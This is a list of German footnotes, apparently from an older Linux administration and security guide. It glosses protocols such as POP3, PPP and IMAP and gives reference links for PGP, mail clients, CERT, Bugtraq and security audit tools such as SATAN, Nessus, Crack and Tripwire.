³¹ Warum man bei dem Host-Key keine Passphrase angeben darf, kann man nur vermuten: Es müßte dann ja jeder Client-Rechner auch die Passphrase kennen, um den Host-Key zu entschlüsseln. In der Anleitung steht nur in einem Nebensatz: ``host keys must have empty passphrase''.

³² POP3 ist das Post Office Protocol 3 und wird zum Abholen von EMails von einem Rechner verwendet. Ein gängiger Client ist fetchmail.

³³ http://www.ssh.fi

³⁴ Point to Point Protokoll, dient zur Koppelung zweier Rechner über eine serielle Verbindung und kann neben TCP/IP auch noch andere Protokolle transportieren.

³⁵ Pretty Good Privacy, zur Signierung und Verschlüsselung von Dateien und Mails mit einem asymmetrischen public-key-Verfahren. (http://www.cryptography.org/getpgp.htm)

³⁶ http://www.gnus.org/

³⁷ http://www.xemacs.org/

³⁸ Wenn man eine UU-codierte Mail an decode schickt so erhält man das decodierte Resultat zurück.

³⁹ Post Office Protocol

⁴⁰ Interactive Mail Access Protocol

⁴¹ http://www.cert.org

⁴² http://www.geek-girl.com/bugtraq/

⁴³ http://sites.inka.de/sites/lina/freefire-l/tools.html

⁴⁴ http://ciac.llnl.gov/ciac/ToolsUnixNetMon.html #Argus

⁴⁵ ftp://ftp.stanford.edu/general/security-tools/swatch/

⁴⁶ http://www.psionic.com/abacus/abacus_logcheck.html

⁴⁷ http://www.vcpc.univie.ac.at/%7Etc/tools/

⁴⁸ ftp://info.cert.org/pub/tools/crack/

⁴⁹ Internet Security Scanner, ftp://info.cert.org/pub/tools/iss/

⁵⁰ Security Administrator Tool for Analyzing Networks, ftp://ftp.win.tue.nl/pub/security/

⁵¹ Security Administrator's Integrated Network Tool, http://www.wwdsi.com/saint

⁵² http://www.nessus.org/

⁵³ ftp://ftp.informatik.rwth-aachen.de/./pub/comp/Linux/sunsite.unc.edu/system/security

⁵⁴ Computer Oracle and Password System, http://www.trouble.org/cops/

⁵⁵ ftp://coast.cs.purdue.edu/pub/COAST/Tripwire/

⁵⁶ http://www.txdirect.net/users/mdfranz/trinux.html

⁵⁷ http://apostols.org/projectz/queso/

⁵⁸ ftp://apostols.org/AposTools/snapshots/neped/

⁵⁹ http://mojo.calyx.net/~btx/karpski.html

⁶⁰ http://www.altavista.digital.com/

⁶¹ http://www.excite.com/

⁶² http://www.fireball.de/

⁶³ http://www.infoseek.com/

⁶⁴ http://www.lycos.de/

⁶⁵ http://www.yahoo.com/

⁶⁶ http://samba.anu.edu.au/rsync/

⁶⁷ Für den Rechner ``tgx045'' würde die Variablendatei tgx045.var heißen.

⁶⁸ auch für kommerzielle Anwendungen

⁶⁹ Comprehensive Perl Archive Network, http://www.perl.com/CPAN

⁷⁰ http://www.leo.org/pub/comp/programming/languages/script/perl/CPAN/modules/by-category/22_Microsoft_Windows_Modules/Win32/index.html

⁷¹ http://www.genua.de/